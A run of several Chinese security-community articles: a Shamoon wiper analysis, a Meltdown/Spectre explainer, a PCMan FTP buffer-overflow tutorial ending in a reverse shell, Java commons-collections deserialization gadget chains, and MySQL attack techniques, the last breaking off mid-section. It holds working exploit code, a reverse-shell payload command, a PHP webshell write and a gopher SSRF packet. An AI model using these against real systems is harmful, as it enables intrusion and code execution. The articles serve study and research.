恶意软件会检查以下共享内容是否存在并将其复制进行病毒传播：
* ADMIN$
* C$\WINDOWS
* D$\WINDOWS
* E$\WINDOWS
Shamoon查询服务以检索与LocalService帐户相关的信息。
然后它会检索PE文件中的资源以删除组件。 查找资源的位置：
Shamoon创建文件并将时间设置为2012年8月（用于逃脱法律的制裁）。 它将此日期放在可以销毁的文件中。
例如，修改时间可以用作基于时间线绕过检测的抗辩法技巧。 我们还观察到，在某些情况下，系统会简要修改日期，伪造每个文件的日期。 删除在系统上的文件存储在C：\
Windows \ System32 \中。
在创建服务之前，Shamoon通过系统token来提升其权限。
它首先使用`LogonUser`和`ImpersonateLoggedOnUser`，然后使用`ImpersonateNamedPipeClient`函数。
`Metasploit`也使用类似的技术来提升特权。
提升权限对于软件进一步执行恶意代码至关重要，然而这些修改通常会有许多限制。
Shamoon创建了新的恶意服务`MaintenaceSrv`。
它使用选项`Autostart（StartType:2）`创建服务，并使用自己的进程（`ServiceType：0x10`）运行服务：
如果服务已被创建，则会使用先前的配置更改服务的参数。
它最后完成`MaintenaceSrv`的创建：
wiper模块可以为以下任何一个名称：
接下来，wiper运行以销毁数据。
### Wiper组件解析
wiper组件被放入`System32`文件夹中并 需要一个参数才能运行。 Wiper驱动程序嵌入其资源中。
我们可以在此屏幕截图中看到工具对资源101进行加密：
驱动程序`ElRawDisk.sys`被用于解密资源，之后擦除磁盘内容。
提取资源：
此前曾有一个文件不是恶意文件，但由于它是原始驱动程序，因此被认为是具有风险性的。
Wiper使用以下命令创建驱动程序：
sc create hdv_725x type= kernel start= demand binpath= WINDOWS\hdv_725x.sys 2>&1 >nul
下面的截图显示了命令的执行过程：
恶意软件会覆盖掉`c:\Windows\System32`中的所有文件，并使计算机严重瘫痪。从而使计算机中所有的文件均被覆盖。
覆盖程序如下：
最后，它使用以下命令强制重新启动：
`Shutdown -r -f -t 2`
系统重启后会显示蓝屏：
### Worm组件详情
蠕虫组件是从droper的资源中提取出来的。 破坏性恶意软件通常使用传播技术感染机器。
蠕虫组件可以使用以下名称：
我们注意到该组件拥有扫描本地网络并连接到控制服务器的能力：
虽然蠕虫组件可以传播dropper并连接到远程服务器，但该版本中未使用该组件。
### 总结
除了恶意软件可能造成的破坏之外，Wiper组件可以独立于droper使用。 `2018 Shamoon`改进版的功能表明该应用使用了模块化进行开发。
这使wiper同样可以被Shamoon以外的恶意软件下载使用。
`Shamoon`正显示出不断改进的迹象; 但是，这些改变并没有逃脱McAfee DAT的检测。我们预计这些攻击者会在中东（及其他地区）进行更多的攻击。
我们将继续对其进行监控，并在我们了解更多信息时更新此分析。
### IOCs
df177772518a8fcedbbc805ceed8daecc0f42fed Original dropper x86
ceb7876c01c75673699c74ff7fac64a5ca0e67a1 Wiper
10411f07640edcaa6104f078af09e2543aa0ca07 Worm module
43ed9c1309d8bb14bd62b016a5c34a2adbe45943 key8854321.pub
bf3e0bc893859563811e9a481fde84fe7ecd0684 RawDisk driver
### McAfee 检测
* Trojan-Wiper!DE07C4AC94A5
* RDN/Generic.dx
* Trojan-Wiper
本文为翻译稿件，来自：https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/ | 社区文章 |
作者：[腾讯湛泸实验室](https://media.weibo.cn/article?id=2309404192902644407039&jumpfrom=weibocom
"腾讯湛泸实验室")
#### 0x00 简述:
最近Intel CPU爆出两个重大安全漏洞Spectre ,meltdown，漏洞广泛影响1995年之后的处理器。intel
cpu存在设计上的缺陷，导致攻击者可以读取系统(windows或linux)kernel的内存，不受系统权限的限制。Spectre
,meltdown漏洞由Google研究团队ProjectZero发现，已经在2017-06-01把两个漏洞报告给相关cpu厂商。ProjectZero团队给出了有效的攻击方法。漏洞编号CVE-2017-5753，CVE-2017-5715，CVE-2017-5754。
#### 0x01 漏洞简述：
该CPU漏洞可以让攻击者从用户态任意读取kernel的内存，彻底打破了由硬件保证的内存隔离，根据intel
白皮书描述，属于可预测的边信道攻击方式（Speculative Execution Side Channel Methods）Speculative
execution本身是现代处理器为了提高性能引入的机制，通过对程序控制流的预测，判断哪些指令高频度执行，CPU中会有一个指令分析池，专门分析程序控制流，这种预测可以提高处理器的并行性能，这种Speculative
execution操作本身并不影响处理器的状态，但是可以影响微处理器的状态，例如：存储在TLBs（Translate Look side Buffers）
和caches（缓存）中的内容。边信道攻击（Side Channel Cache
Methods）：边信道攻击和其他的安全漏洞不一样，边信道攻击可以用来获取系统的内存信息，但是这种攻击不会修改也不会删除内存数据。
#### 0x02 漏洞原理：
###### Meltdown攻击：
了解这个漏洞原理之前，需要了解一些基础的计算机系统知识，包括系统乱序执行，地址翻译，以及系统cache,
Meltdown的攻击目标是获取内核的内存内容。笔者介绍一下这个攻击主要利用的机制，为了把漏洞原理解释清楚，笔者采用汇编伪代码方式，假设:要读取的内核地址为0xFFFF0000
该地址的内容为0x00000001首先构造如下代码，代码执行在ring3
｛
1 ; rcx = kernel address 0xFFFF0000
2 ; rbx = probe array
retry:
3 mov al, byte [rcx]
4 shl rax, 0xc
jz retry
5 mov rbx, qword [rbx + rax]
｝
由于代码运行在用户态，在指令3中，一个仅有普通用户级权限的攻击者访问目标内核内存地址（存储在寄存器rcx中），正常代码逻辑会发生一个异常，原因是在用户态访问了内核地址，这一条指令将会触发访问异常，使得该指令和它之后的指令对寄存器的修改将被全部丢弃。但是在等待CPU完成执行该指令的同时，后两条指令因为预测执行实际上已经被执行过了，并且此时的计算是根据指令3所读取到的数据所进行，并不受CPU权限限制。指令4将会把这个数据乘以4096，并在指令5中将其作为offset来对数组probe
array进行访问。由于一个内存页的大小是4KB，不同的数据将会导致不同的内存页被访问并存放到CPU缓存中。此后，另一个攻击者进程就可以通过缓存侧信道攻击，来探测哪个内存页被访问过了，从而推断出被访问的内核内存数据。
原理如图
之后利用缓存侧信道攻击
此时访问页面probe array page
1，和一个没有被加入到cache的页面，如果访问页面1的速度比较快，那就说明内核地址0xffff0000内容最低的bit为1，然后依次对每个位进行测试，得出任意的内核内存内容，完成信息泄漏。
###### Spectre攻击:
Spectre攻击利用了CPU的预测执行对系统进行攻击。预测执行是另外一种CPU优化特性。但是攻击方式相似，攻击者通过控制目标程序的某个变量或者寄存器，使其读取攻击者指定的内存地址。这里攻击者指定的内存地址的内容就是攻击者试图获取的机密数据（比如用户密码）。如果目标程序中含有将这个机密数据作为内存访问的指针或者数组offset，那么攻击者就可以利用缓存侧信道来提取被访问的内存地址，进而提取目标机密数据。
#### 0x03 攻击与危害：
该漏洞不但影响Intel
CPU系列产品，同时影响AMD系列CPU,本质上说，Meltdown和Spectra都是基于侧信道的攻击，主要用于信息泄漏，并不能对目标的内存进行修改。但是Meltdown攻击打破了原有的权限限制，可以读取操作系统中的任意内存，这就对云服务器以及个人电脑构成了很大的威胁。漏洞可以用于内存中某些重要内容的读取，例如系统密码hash,token等等。
#### 0x04 漏洞的防御：
Meltdown和Spectre攻击利用的是CPU微码架构上的设计缺陷，短时间内很难通过处理器厂商升级修复漏洞。
针对此漏洞微软做出修复方案，微软分离了用户态和内核态的CR3，在2017年11月的Win10 RS4测试版本上引入了Dual-CR3机制，来缓解这个漏洞。由于媒体的广泛报道，微软一月份的漏洞公告中提前推送了这个漏洞的补丁。
#### 0xFF 参考文章：
<https://spectreattack.com/spectre.pdf>
<https://meltdownattack.com/meltdown.pdf>
<https://googleprojectzero.blogspot.com/2018/01/reading-privileged-memory-with-side.html>
<https://newsroom.intel.com/wp-content/uploads/sites/11/2018/01/Intel-Analysis-of-Speculative-Execution-Side-Channels.pdf>
<https://zhuanlan.zhihu.com/p/32654221>
* * * | 社区文章 |
# 【技术分享】简单的缓冲区溢出分析
|
##### 译文声明
本文是翻译文章，文章来源：netsec
原文地址：<http://netsec.ws/?p=180>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **阻圣** ****](http://bobao.360.cn/member/contribute?uid=134615136)
**稿费：200RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[ **网页版**
****](http://bobao.360.cn/contribute/index) **在线投稿**
**前言**
本文将详细说明如何去找到一个简单的缓冲区溢出漏洞以及最终如何攻击服务获得一个反弹shell。有很多公开的漏洞可以被当做本文例子，不过我今天在exploit-db上发现PCMan’s FTP Server 2.0.7的三个缓冲区溢出漏洞，所以我就决定拿这个作为本文的例子。
**准备工作**
在开始之前，我们先需要准备一下工作环境。
Windows XP – SP3 Virtual Machine (Victim).
Kali Linux Virtual Machine (Attacker).
OllyDbg 安装在Windows XP上
PCMan’s FTP Server 2.0.7
除了上诉工具和环境外，你还需要
对x86 汇编语言有个基本的了解
对Python编程语言有个基本的了解
**缓冲区溢出的基础知识**
深入的去介绍缓冲区溢出不符合本篇文章，这里我只是介绍一下基础知识。当一个开发商不去检查用户输入的边界数据时就会发生缓冲区溢出。什么是缓冲区溢出呢？简单的来说，如果我们输入的数据长度超过了开发人员定义的缓冲区，那么这个数据就可以覆盖掉关键的寄存器，如EIP，EIP是指令寄存器，它存放当前指令的下一条指令的地址。如果它被来自用户输入的垃圾数据覆盖了，程序通常会崩溃，因为它跳转到的地址并尝试指向，但执行的并不是有效的指令。我们的目的就是要定制一个数据发送到程序覆盖EIP，使程序跳转到我们控制的位置，这样我们就可以执行shellcode了。下面看几张图帮助大家来理解。
典型的内存布局
攻击者输入超过用户缓冲区
开发人员正确处理-输入被截断，不能覆盖任何东西
开发人员错误处理-输入覆盖缓冲区和EIP，导致它跳转到无效的内存地址，程序崩溃。
攻击者定制输入的数据
攻击者定制输入数据，让EIP指向shellcode
安全圈有句老话，一切的用户输入都是有害的。只是有人因为信任用户的输入是正确的、是合理的值，这就是为什么产生了大量的漏洞的原因。
**
**
**查找缓冲区溢出**
了解完基础知识后，很明显我们现在要知道缓冲区溢出在哪里？这里我们就需要使用到模糊测试。现在我们需要发送不同长度和内容的自定义字符串到我们要测试的输入点，如果程序崩溃，你可以开心一下啦，我们就是要找程序崩溃的时候，然后来调查一下为什么会崩溃，可不可以利用。这里我们就以PCMan’s
FTP Server 2.0.7为例子。
首先我们来测试一下用户名这个输入点有没有存在问题。这里我们用Python编写了一个Fuzzer程序。
运行我们的Fuzzer程序，发现发送到大约2000的时候挂起了，检查我们的FTP服务器，可以发现已经崩溃。
接下来我们就要来进一步研究一下，确认这错误是否可以利用，我们先关闭服务器，在重启它，这次我们使用OllyDbg来监视程序崩溃时寄存器的情况。
**崩溃调查**
打开OllyDbg附加FTP Server
我们按F9运行程序，再运行Fuzzer程序并等待程序崩溃，程序崩溃后我们不要关闭程序，这里注意看OllyDbg寄存器窗口已经暂停在崩溃时的值了。
我们可以发现EIP寄存器的值是41414141，新手应该看不懂这是什么吧，其实这就是A的十六进制，很明显EIP写入的地址是AAAA，程序去尝试执行内存地址0x41414141，因为这个地址是无效的，所以就崩溃了。这对于我们来说，肯定是个好消息啊，这意味着我们可以控制EIP啊，现在我们需要在EIP中覆盖四个字节，所以我们需要控制EIP。
**控制EIP**
首先我们使用Metasploit的pattern_create工具创建一个2100字节的字符串。为了简洁，简写了。
ruby /usr/share/metasploit-framework/tools/pattern_create.rb 2100
Aa0Aa1Aa2A.......Cr5Cr6Cr7Cr8Cr9
然后我们将这个字符串作为payload发送至服务器
再次重复上次步骤，来观察EIP
可以发现这次EIP寄存器的值是0x43386F43
现在我们使用Metasploit中的另一个工具pattern_offset来确定字节数
ruby /usr/share/metasploit-framework/tools/pattern_offset.rb 43386F43
[*] Exact match at offset 2004
现在我们知道了EIP被覆盖之前是2004个字节。
为了准确性，我们继续确认一下。
再次重复上次步骤观察EIP
可以发现EIP寄存器的值是0x42424242，成功的被我们用四个B覆盖了。
**寻找Shellcode的位置**
这里我们来介绍一个简单的方法，我们先来查看ESP指向哪里。在当前情况下，我们可以看见内存地址是0x0012EDB8
可以发现，我指向了一堆43的值，0x43恰恰是C的ASCII值。现在我们是要将C替换成我们希望运行的Shellcode。然后让EIP跳转到ESP寄存器的位置。
**获得EIP to Jump**
为什么我们不能告诉EIP去内存地址0x0012EDB8呢？因为这个地址在各个计算机上都不一样得，你不可能只想这个攻击只能攻击自己计算机吧。所以这里我们就要在程序的dll中找到具有JMP
ESP命令的内存地址。这样我们就可以将EIP指向该位置，使其跳转到我们的缓冲区中。
让我们来看看有哪些dll加载到了这个程序。
上图是一个dll加载到程序的列表，这里我们选择SHELL32.dll进行搜索。现在要搜索JMP ESP命令。
返回的第一个结果是位于内存地址0x7C9D30D7,这个地址没有坏字符，我们可以来利用。坏字符是会破坏我们漏洞的字符，如0x00。
接下来我们在确认一下JMP ESP命令
重启OllyDbg和服务，这里我们先要设个断点。我们右键单击主程序中的空白区域，然后选择跳转到表达式，这里我们输入值7C9D30D7，这样我们就跳转到我们的返回地址JMP
ESP了。我们按下F2设置断点。取消暂停OllyDbg，运行我们的Fuzzer程序。这里我们可以发现调试器已经暂停在我们的断点等待指令，F7进入下一个指令，可以发现我们已经跳转到一个长字符串INC
EBX，换句话说，我们成功跳转到了我们的缓冲区。
**识别坏字符**
现在我们需要为我们的exploit创建一个shellcode来执行，但是这里有个问题，我们怎么知道什么命令有效？什么命令会导致程序怎么来执行？典型的一个例子就是空字节，空字节0x00表示字符串结束，这显然会影响我们的漏洞，当然不仅仅只有空字节，所以我们就要通过发送字符串数据来找到它们。如果字符串在特定的字符那里被截断或破坏，我们就知道这个字符对我们的漏洞产生了负面的影响。
然后我们来检查发生攻击后的堆栈
从上图中可以轻易发现，0x0A已经对我们的漏洞产生了影响，我们删除它，重新运行我们的程序。
然后我们再来看看发生攻击后的堆栈
又发现0x0D对我们的漏洞产生了影响，我们继续删除它，再运行测试程序。
可以发现没有坏字符了，这里我们找到了三个坏字符，它们分别是0x0D，0x0A和0x00。可以发现0x0A表示回车，0x0D表示换行，0x00表示字符串的结束，这样就很容易理解它们为什么是坏字符了。
**定制Shellcode**
我们已经找到了坏字符，我们知道我们的shellcode中不能包含这些字符，现在让我们来生成shellcode。这里我们没必要自己来写，强大的Metasploit帮助我们解决了问题。我们来使用msfpayload生成一个shellcode，当然我这边没升级，你要是最新版是没有msfpayload，而是msfvenom，用法基本上差不多，就不多做介绍了。
我们来检查一下shellcode，可以发现其中有0x00，我们在上面知道出现0x00、0x0A或0X0D都会破坏我们的payload。或者我们要告诉Metasploit不能使用那些字符。用下面命令试一下。
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 R | msfencode -b 'x00x0ax0d' -e x86/shikata_ga_nai -t python
接下来就是享受攻击的乐趣啦。
**攻击进行时-编写exploit**
经过上面的介绍，exploit编写很简单了，把shellcode和上面的fuzzer程序结合起来就行了。代码如下：
现在我们先来使用nc来监听443端口
nc -lvp 443
运行我们的exploit，然后等待一段时间
**总结**
一切很顺利啊，我们成功的获得了一个shell，当然这只是一个简单的例子，这里我在声明一下，本文仅做技术交流，请大家不要使用本文的exploit去攻击互联网上的PCMan’s
FTP服务，大家可以使用VM虚拟机来学习一下。 | 社区文章 |
# Java反序列化之与JDK版本无关的利用链挖掘
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言：
总感觉年纪大了，脑子不好使，看过的东西很容易就忘了，最近两天又重新看了下java反序列化漏洞利用链相关技术，并尝试寻找新的利用链，最后找到commons-collections中的类DualHashBidiMap能够触发利用链，不依赖于JDK，然后对比了ysoserial代码，暂未发现使用DualHashBidiMap类的触发的方式，遂记之。
## 二、环境准备
JDK1.8
IDEA
commons-collections-3.1.jar
这里IDEA需要更改下调试情况下的配置，最好将划圈的两个标识去掉。这里在漏洞跟踪调试时可能会出现大坑。
Idea debug模式下
Enable alternative选项，idea会修改Collections对象结构
Enable toString选项，idea会自动调用 java类重写的toString() 函数
这两个选项在调试模式下可能会严重影响代码的执行流程。
我自己在跟踪TiedMapEntry代码时就遇到这个问题，TiedMapEntry类重写了toString()函数，我们的利用链都是Collections相关的对象，所以在调试时代码流程始终没有按照预期的执行，非调试模式下又都正常，后来发现了调试模式下的这两个选项影响了程序流程。
## 二、历史利用链简单回顾
Java反序列化利用技术，总感觉长时间不看就记不清了，于是就重新回顾了下最基本的利用方式，分析跟踪了ChainedTransformer和InvokerTransformer流程，又看了两个触发readObject函数的类AnnotationInvocationHandler和BadAttributeValueExpException，大概对反序列化过程又有了个清晰的认识。这方面网上分析的文章已经很多了，具体过程不再赘述，下面仅贴下简单的利用代码，以供参考
public static void generatePayload1() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class
},
new Object[] {
"getRuntime",
new Class[0]
}),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class
},
new Object[] {
null,
new Object[0]
}),
new InvokerTransformer("exec", new Class[] {
String.class
},
new Object[] {
"calc"
})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value", "value");
Map payloadMap = TransformedMap.decorate(innermap, null, transformerChain);
//在反序列化时，利用AnnotationInvocationHandler类的readObject触发
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor m_ctor = cls.getDeclaredConstructor(Class.class, Map.class);
m_ctor.setAccessible(true);
Object payload_instance = m_ctor.newInstance(Retention.class, payloadMap);
MySerializeUtil.serializeToFile(payload_instance, "CommonsCollections1Test1.ser");
}
public static void generatePayload2() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) };
//使用ChainedTransformer组合利用链
Transformer transformerChain = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "haha");
BadAttributeValueExpException payload_exception = new BadAttributeValueExpException(null);
Field valField = payload_exception.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(payload_exception, entry);
MySerializeUtil.serializeToFile(payload_exception, "CommonsCollections1Test2.ser");
}
## 三、新利用链挖掘
与其说是新利用链的挖掘，不如说新的触发点的寻找，上面两个利用链的漏洞触发类分别是JDK中的AnnotationInvocationHandler和BadAttributeValueExpException，在分析完上面两中利用链流程后，为了检验自己的认识水平，就想尝试自己寻找一个触发点。
寻找触发点唯一原则就是寻找一个实现了readObject()函数的类，并且在readObject()函数中执行了一定的操作。按照这个思路，先在idea中全局搜索readObject()函数
本来我只想找个触发点，并没想一定找个与JDK无关的，我先在依赖库中查找（如果找不到再到JDK中找），简单的过一遍找到的readObject函数,当看到org.apache.commons.collections.bidimap.DualHashBidiMap的readObject()函数时，感觉有可能达到触发利用链效果，代码如下
readObject中有多余的操作putAll(map)其代码如下
这里我们看到map进行了get(key)和get(value)操作。如果你之前分析过LazyMap的触发流程，我们就知道LazyMap.get(key)函数会触发ChainedTransformer和InvokerTransformer这个执行链，最后达到任意代码执行，LazyMap.get(key)代码如下。
看到这里，就感觉DualHashBidiMap类有戏，很有可能触发漏洞。于是简单的分析下该类的结构。
writeObject()函数实现了了将maps[0]序列化，与readObject()中的Map map = (Map)
in.readObject();刚好对应，剩下的就是如何控制maps[0]的值，
public abstract class AbstractDualBidiMap implements BidiMap {
protected transient final Map[] maps = new Map[2];
...
protected AbstractDualBidiMap(Map normalMap, Map reverseMap, BidiMap inverseBidiMap) {
super();
maps[0] = normalMap;
maps[1] = reverseMap;
this.inverseBidiMap = inverseBidiMap;
}
...
}
分析可知DualHashBidiMap的父类AbstractDualBidiMap中定义了maps变量，并且调用函数AbstractDualBidiMap()进行赋值。所有我们可以通过
protected DualHashBidiMap(Map normalMap, Map reverseMap, BidiMap inverseBidiMap) {
super(normalMap, reverseMap, inverseBidiMap);
}
函数对maps进行赋值。
由与该函数是protected类型，所以需要使用反射机制。编写测试代码
public static void generatePayload3() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) };
//使用ChainedTransformer组合利用链
Transformer transformerChain = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "haha");
Map<String, Object> payload_map = new HashMap<String, Object>();
payload_map.put("test", entry);
Class cls = Class.forName("org.apache.commons.collections.bidimap.DualHashBidiMap");
Constructor m_ctor = cls.getDeclaredConstructor(Map.class, Map.class, BidiMap.class);
m_ctor.setAccessible(true);
Object payload_instance = m_ctor.newInstance(payload_map, null, null);
FileOutputStream fileOutputStream = new FileOutputStream("payload_dualHashBidMap1.ser");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(payload_instance);
outputStream.close();
}
编写简单的Servlet进行测试
使用burpsuit发送，成功弹出计算器。
## 四、跟踪调试
程序执行到putAll(map),此时map的值已经是我们构造的HashMap，并有value值LazyMap。
单步执行，观察变量的变化，程序执行玩maps[1].containsKey(value)之后弹出了计算器，与我们预测的有点不一样。重新运行程序，跟进containsKey(value)观察原因。
HaskMap的containsKey()函数如下，
public boolean containsKey(Object key) {
return getNode(hash(key), key) != null;
}
其中hash(key)代码如下：
此时执行key.hashcode()，即执行TiedMapEntry.hashCode()
最后执行InvokerTransformer链，虽然与开始预测的有点不一样，但最终从另外一条路触发了关键函数。
整个漏洞触发的过程如下：
DualHashBidiMap->readObject()
DualHashBidiMap->putAll()
DualHashBidiMap->put()
HashMap->containsKey()
HashMap->hash()
TiedMapEntry->hashCode()
TiedMapEntry->getValue()
LazyMap->get()
ChainedTransformer->transform()
InvokerTransformer->transform()
由于整个过程触发readObject的类是在commons-collections库中的，后面执行代码的利用链也是在commons-collections中，所有整个利用链与jdk版本无关，只与commons-collections版本有关。
## 五、结束
在全局搜索readObject时，发现commons-collections中还有个类DualTreeBidiMap，和我们这里使用的DualHashBidiMap类几乎一样，猜测也能达到该效果，有兴趣的可以试下。 | 社区文章 |
# Mysql 数据库攻击面
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Mysql数据库在无论是在渗透测试还是正常使用都是比较常见的数据库，在十一假期期间总结梳理了mysql近些年的常见攻击利用方法，通过自己的实践分析也有了更深刻的认识，希望能对大家有帮助，这里分享给大家。
## 0x01 简单介绍
MySQL 是最流行的关系型数据库管理系统，在 WEB 应用方面 MySQL 是最好的 RDBMS(Relational Database
Management System：关系数据库管理系统)应用软件之一。
MySQL 是一个关系型数据库管理系统，由瑞典 MySQL AB 公司开发，目前属于 Oracle 公司。MySQL
是一种关联数据库管理系统，关联数据库将数据保存在不同的表中，而不是将所有数据放在一个大仓库内，这样就增加了速度并提高了灵活性。
## 0x02 基础指令
在mysql的正常使用中以及mysql数据库攻击利用时，以下指令最常用，总结梳理如下
### 0x1 创建
create database hehe;//创建数据库
CREATE TABLE IF NOT EXISTS `runoob_tbl`(
`runoob_id` INT UNSIGNED AUTO_INCREMENT,
`runoob_title` VARCHAR(100) NOT NULL,
`runoob_author` VARCHAR(40) NOT NULL,
`submission_date` DATE,
PRIMARY KEY ( `runoob_id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;//创建数据表
### 0x2 查看
show databases;
show tables;
show variables like '%secure%'; //查看安全属性
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '\n';//读取客户端文件
### 0x3 更新添加用户及权限
CREATE USER 'username'@'host' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
DROP USER 'username'@'host';
flush privileges;
### 0x4 文件读写
SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
SELECT LOAD_FILE('/var/lib/mysql-files/aaa') AS Result;
select group_concat(id) from test INTO DUMPFILE "/var/lib/mysql-files/aaaa";
## 0x03 攻击面分析
### 0x1 Mysql 客户端任意文件读
> 适用范围： 全版本 MySQL/MariaDB Client
> 条件：客户端连接时开启 –enable-local-infile
从结果上来看，客户端读取了自身指定的数据，抓取数据包分析整个流程。
**1\. Client Send 3306**
192.168.0.114 是SqlServer 192.168.0.115为客户端
**2\. Server Send Greeting packet**
服务端返回一个server端基础信息表包含版本，协议类型，salt值，server 功能项
这里有一个server 功能表
**3\. Client Auth and Send capability**
这个包可以说是客户端的登录包，包含用户名，密码，还有一份客户端能力表。
从图中可以看出client连接时开启了 —enable-local-infile 配置
**4\. Client Queries**
接下来就是一些正常的客户端查询了
**5\. Client Send LOAD DATA LOCAL**
最终客户端发送下面指令
**6\. Server Send Filename**
服务端收到这个执行语句后会给客户端以特定的协议格式发送一个包，类似于下面，功能类似于告诉客户端把这个文件发给我让我看看，如果连接时配置 –enable-local-infile 或者dsn 加上了allowAllFiles=true
**7\. 其他**
攻击脚本 Rogue_Mysql <https://github.com/allyshka/Rogue-MySql-Server>
PHP有一些mysql客户端扩展，如mysql、mysqli、pdo，除了pdo外都可以被利用，因为pdo默认禁止读取本地数据，你需要通过设置PDO::MYSQL_ATTR_LOCAL_INFILE为true来启用本地数据读取。同样的，如果客户端使用的是python的MySQLdb，也需要先设置local_infile连接选项。
### 0x2 利用SSRF 攻击Mysql
> 适用范围： 全版本 MySQL/MariaDB Server
> 条件：拥有空密码用户
在之前有道ctf题目利用gopher协议获取mysql数据库中的flag，这里需要了解mysql的完整交互协议，并且要伪造客户端，通过ssrf进行交互连接。下面只需要分析mysql的数据交互过程。
主要分成三个部分：登录认证报文，客户端请求报文以及服务器端返回报，基于mysql5.1.73(mysql4.1以后的版本)
1. TCP 三次握手
2. 服务端发送握手初始化报文
3. 客户端发送认证报文
4. 服务端发送认证结果报文
5. 客户端发送命令报文
**1\. TCP 三次握手**
客户端与服务端进行TCP握手连接，确定连接信息。
**2\. 服务端发送握手初始化报文**
握手完成之后，服务端向客户端发送mysql相关信息，
通过该数据包客户端将获取服务端提供的能力列表，以及获取挑战随机数，这将会在之后的客户端认证数据包中使用到。
**3\. 客户端发送认证报文**
服务端生成挑战数(scramble)并发送给客户端，客户端用挑战数加密密码后返回相应结果，然后服务器检查是否与预期的结果相同，从而完成用户认证的过程。
值得注意的是，如果mysql的密码为空，那么加密密码就为空。
客户端收到服务器发来的初始化报文后，会对服务器发送的权能标志进行修改，保留自身所支持的功能，然后将权能标志返回给服务器，从而保证服务器与客户端通讯的兼容性。
**4\. 服务端发送认证结果报文**
mysql收到了客户端发过来的认证包，并且经过验证用户名密码都是正确的，这是客户端被允许登陆了，报文结构如下：
header = 0，表明是ok报文， server status = 02，表名设置自动提交成功。
**5\. 客户端发送命令报文**
命令报文比较简单，第一个字节表示当前命令的类型，之后的数据就是要执行的命令。
**6\. 构造数据包**
因为没有密码的用户登陆mysql时不需要与sqlserver进行交互所以可以通过gopher协议通过一个数据包完成所有的交互，实现执行命令的目的。
通过命令行执行`mysql -h 127.0.0.1 -u root -e "select now();"`
利用wireshark 抓包获取
我们只关心，数据包中的红色客户端部分，将它们都提取出来，通过nc发送数据包
data = "b500000185a2bf01000000012d0000000000000000000000000000000000000000000000726f6f74000063616368696e675f736861325f70617373776f72640078035f6f73086f737831302e3134095f706c6174666f726d067838365f36340f5f636c69656e745f76657273696f6e06382e302e31380c5f636c69656e745f6e616d65086c69626d7973716c045f706964053432343831076f735f757365720634637431306e0c70726f6772616d5f6e616d65056d7973716c00000003210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d697420310d0000000373656c656374206e6f772829"
print data.decode("hex")
如果要执行其他命令只需要修改其中的客户端命令数据包。
### 0x3 Mysql 服务端文件读写
> 适用范围： 全版本 MySQL/MariaDB Client
> 条件：服务端配置可读写目录和正确的用户权限
**1\. 安全保护**
mysql服务端的文件读取有很多的条件限制，主要是mysql数据库的配置，为了安全原因,当读取位于服务器上的文本文件时,文件必须处于数据库目录或可被所有人读取。你可以通过执行`show
variables like '%secure%'`来查看：
secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, DUMPFILE and
LOAD_FILE()可以操作的文件夹。
secure-file-priv的值可分为三种情况：
1. secure_file_priv的值为null ，表示限制mysqld 不允许导入|导出
2. 当secure_file_priv的值为/tmp/ ，表示限制mysqld 的导入|导出只能发生在/tmp/目录下，此时如果读写发生在其他文件夹，就会报错
3. 当secure_file_priv的值没有具体值时，表示不对mysqld 的导入|导出做限制
除此之外读取或写入文件必须拥有可操作的用户权限否则会报错：
ERROR 1045 (28000): Access denied for user
**2\. 读取文件**
SELECT LOAD_FILE('/var/lib/mysql-files/aaa') AS Result;
create database test;
CREATE TABLE test ( id TEXT, content TEXT);
load data infile "/var/lib/mysql-files/aaa" into table test.test FIELDS TERMINATED BY '\n\r';
**3\. 写入文件**
select group_concat(id) from test INTO DUMPFILE "/var/lib/mysql-files/aaaa";
### 0x4 Mysql远程代码执行/权限提升漏洞 （CVE-2016-6662）
> 版本范围：MySQL <= 5.7.14 MySQL <= 5.6.32 MySQL <= 5.5.51， 远程代码执行/ 提权
> (0day)，包括mysql的分支版本MariaDB，PerconaDB
利用条件要具有FILE和SELECT权限的mysql的用户且能够访问日志功能（通常情况下只有MYSQL的管理员用户具有）
1\. 漏洞原因
* MySQL的默认安装包里自带了一个mysqld_safe的脚本用来启动mysql的服务进程
